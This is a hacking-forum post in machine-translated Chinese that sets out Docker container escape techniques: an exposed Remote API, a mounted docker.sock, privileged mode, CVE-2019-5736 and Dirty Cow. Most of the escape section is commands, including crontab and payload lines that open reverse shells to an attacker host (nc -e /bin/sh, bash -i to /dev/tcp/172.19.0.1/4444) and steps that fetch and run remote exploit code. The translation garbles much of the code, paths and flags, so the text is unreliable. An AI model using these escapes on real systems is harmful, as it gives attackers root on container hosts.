H

Docker 逃逸相关总结

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

Docker 逃逸相关总结​

1 Docker 核心技术​

Docker是一种开源应用程序集装箱引擎,允许开发人员将任何应用程序和依赖项包装到容器中,然后将其发布到任何流行的Linux机器中,完美地解决了测试环境和生产环境之间的一些不一致之处。与传统的虚拟化技术相比,Docker容器直接使用主机内核,并且没有硬件虚拟化,这要轻得多。
自从外观以来,Docker经常与虚拟机进行比较。有些人甚至认为Docker是一台虚拟机。通常,虚拟机使用虚拟机器来虚拟化内存,CPU,等。
让我们看一张图片:我们将图片中的矩形视为计算机,并且内部的圆圈作为过程后的过程,它们使用相同的计算机资源,可以彼此看到。
20210203145133.png-water_print

Docker做了什么? Docker向它们添加了一个外壳以隔离它们,目前他们看不到彼此,但是它们仍然在环境上使用与现在相同的资源在环境上运行。我们可以理解,它们之间的区别和在炮击之前的区别是它们无法彼此交流。应该说,我们可以将此外壳视为单向门,可以在外部移动,但不能在内部移动。这在计算机中的意思是外部流程可以看到内部流程,但是内部流程看不到外部进程。
20210203145155.png-water_print

1.1 namespace​

名称空间是Linux提供的一种方法,用于分离流程树,网络接口,安装点和过程间通信等资源。它们是内核级的环境隔离。在实际操作中,多个服务之间的状态或资源将相互影响。每个服务都可以看到其他服务的过程,还可以访问主机上的任何文件。 Docker的目的是,同一台计算机上的不同服务可以实现完全隔离,就像在多个不同的机器上运行一样。为此,您需要在创建过程时指定名称空间。
Linux的命名空间机制提供了以下七个不同的名称空间,包括clone_newcgroup,clone_newipc,clone_newnet,clone_newns,clone_newpid,clone_newpid,clone_newuser和clone_newuts。通过这七个选项,我们可以设置在创建新流程时应与主机计算机隔离新过程的资源。
从上面,我们可以看到Docker不使用任何虚拟化技术,而是一种隔离技术。如果您熟悉Linux命令,甚至可以理解Docker是一个高级的Chroot。

1.2 docker 安全机制​

由于Docker使用隔离技术,因此它仍然使用主机的内核,CPU和内存。那会带来一些安全问题吗?答案是肯定的,那么Docker如何保护?
Docker有许多安全机制:Linux功能,Apparmor,Selinux,Seccomp等。本文主要讨论Linux功能
由于Docker默认情况下不会隔离用户名称空间,因此在Docker中查看/etc /passwd时,您可以看到UID是0,也就是说,docker内部的根是主机的根。但是,如果您使用一些命令,例如iptables -L,它将提示您的权限不足。
这是由Linux功能机制实现的。由于Linux内核版本2.1版本,因此引入了功能的概念,这打破了操作系统中超级用户/普通用户的概念,普通用户也可以执行只有超级用户才能完成的操作。
有38种类型的Linux功能,与某些系统调用相对应。默认情况下仅启用Docker。这避免了许多安全问题。那些熟悉Docker操作的人应该能够意识到,在打开Docker时,您可以添加一个参数,即-privileged=true,相当于打开所有功能。使用Docker Inspect {Container.id}查看CapaAdd项目中的增加功能。
20210203150136.png-water_print

2 判断是否在 Docker 容器中​

首先,我们需要确定在Docker环境中是否有两种常用的检测方法:
检查是否存在/.dockerenv文件
检查/proc/1/cgroup是否包含诸如Docker之类的字符串。
目前,这两种检测方法相对有效。也可以使用其他检测方法,例如检测安装,fdisk -L查看硬盘以及判断PID 1等的过程名称,也可以用于协助判断。
20210203150518.png-water_print

3 配置不当引发 Docker 逃逸​

3.1 Docker Remote API 未授权访问​

漏洞简介说明:Docker Remote API可以执行Docker命令,Docker守护程序在0.0.0.0上听,您可以直接致电API以操作Docker。
该方法是随意启动一个容器,并将主机/ETC目录安装到容器中,以便我们可以随意读取文件。我们可以将命令写入crontab配置文件以弹跳壳。
经验:
1
2
3
4
进口码头
客户端=docker.dockerclient(base_url='http://your-ip:2375/')
data=client.containers.run('alpine:latest',r''sh -c'echo echo' * * * * * * */usr/usr/usr/bin/nc your -ip 21 -e/bin/bin/sh''/tmp/tmp/tmp/etc/crontab''' 'Mode':'RW'}})

3.2 docker.sock 挂载到容器内部​

方案描述:简单地将Docker放在Docker中,在Docker容器中拨打并执行主机Docker,将Docker文件和Docker.sock文件安装到容器中,专门:
1
2
3
4
5
docker run -rm -it \ it \
-v/var/run/docker.sock:/var/run/docker.sock \
-v/usr/bin/docker:/usr/bin/docker \
Ubuntu \
/bin/bash
脆弱性复发:
在容器中查找Docker.sock
1
2
root@95A280BC5A19: /#find/-name docker.sock
/run/docker.sock
在容器中查看主机Docker信息:
1
Docker -H UNIX: ///var/run/docker.sock信息
运行一个新容器并安装主机根路径:
1
docker -h unix: ///var/run/docker.sock run -it -v/:/test ubuntu/bin/bash
在新容器的/测试目录中,您可以访问主机的所有资源。下一步是编写SSH键或编写计划的任务以获取外壳。

3.3 Docker 高危启动参数​

Docker中有一些相对较高的启动命令,可为容器提供更大的权限,并允许执行一些特权操作。在某些条件下,容器可以逃脱。
1
2
3
4
5
6
7
8
9
Docker Run -RM-
- 特权
-v /: /soft
-cap-add=sys_admin
-net=主机
-pid=主机
-ipc=主机
Ubuntu
/bin/bash

特权模式 –privileged​

使用特权模式启动容器时,Docker Administrator可以通过MOUNT命令将外部主机磁盘设备安装到容器中,以获取向整个主机的文件读取和写入权限。此外,可以通过编写计划的任务等在主机上执行命令。
通过特权模式运行容器:
1
Docker Run -ITD-私人Ubuntu:latest /bin /bash
在容器中,查看磁盘文件:
1
fdisk -L
安装/dev /sda1到新目录
1
2
MKDIR /测试
安装/dev /sda1 /测试
将计划的任务写入主机机器
1
回声' * * * * */bin/bash -i/dev/tcp/172.19.0.1/4444 01'/test/test/var/spool/cron/crotabs/crotabs/root

3.4 Docker 软件设计引起的逃逸​

3.4.1 CVE-2019-5736​

CVE-2019-5736是CVE漏洞数量。 Runc最初是作为Docker的一部分而开发的,后来将其作为单独的开源工具和库提取。在整个Docker体系结构的操作过程中,Containerd为Docker提供了一个用于运行容器的API,并且两者通过GRPC进行交互。最终,conterd,runc实际运行容器。
影响版本Docker版本=18.09.2
runc版本=1.0-rc6
利用条件:攻击者可以控制图像,进一步控制生成的容器
攻击者已为现有容器写入权限,可以通过Docker Exec输入
漏洞复现:下载并安装测试环境镜像
1
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b091560779903d6afa51/raw -o -o install.sh bash install.sh install.sh
下载POC,修改脚本并编译
1
2
3
4
5
6
7
8
9
10
11
12
#下载POC
git克隆https://github.com/frichetteten/cve-2019-5736-poc
#修改有效载荷
vi main.go
有效载荷='#!/bin/bash \ n bash -i/dev/tcp/172.19.0.1/4444 01'
#编译和生成有效载荷
cgo_enabled=0鹅
#复制到Docker容器
Docker CP ./main 248f8b7d3c45:/tmp
在容器中执行有效载荷:
1
2
3
4
5
root@d1b112ea4a5e:/tmp#./main
[+]覆盖/bin /sh成功
[+]找到PID: 16
[+]成功获得了文件句柄
[+]成功获得写句柄{0xc8201231E0}
假设管理员通过Exec进入容器,从而触发有效载荷。
1
docker exec -it CAFA20CFB0F9 /bin /sh
收听172.19.0.1的本地端口,并成功获得主机反弹的外壳。

3.4.2 CVE-2019-14271​

3.5 内核漏洞​

Dirty Cow(CVE-2016-5195)是Linux内核中的许可升级脆弱性。通过它,它可以使Docker容器逃脱并获得根本权限。
环境准备:
Docker与主机共享内核,因此我们需要带有DirtyCow漏洞的主机图像。
添加容器以下载并运行:
1
2
3
git克隆https://github.com/gebl/dirtycow-docker-vdso.git
CD DirtyCow-Docker-VDSO/
sudo docker-compose run dirtycow /bin /bash
可用性:输入容器,编译POC并执行它
1
2
3
CD /dirtycow-vdso /
制作
./0xDeadBeef 172.19.0.1:4444
20210203160116.png-water_print

收听172.19.0.1的本地端口,并成功收到主机反弹的外壳。
20210203160424.png-water_print
 
后退
顶部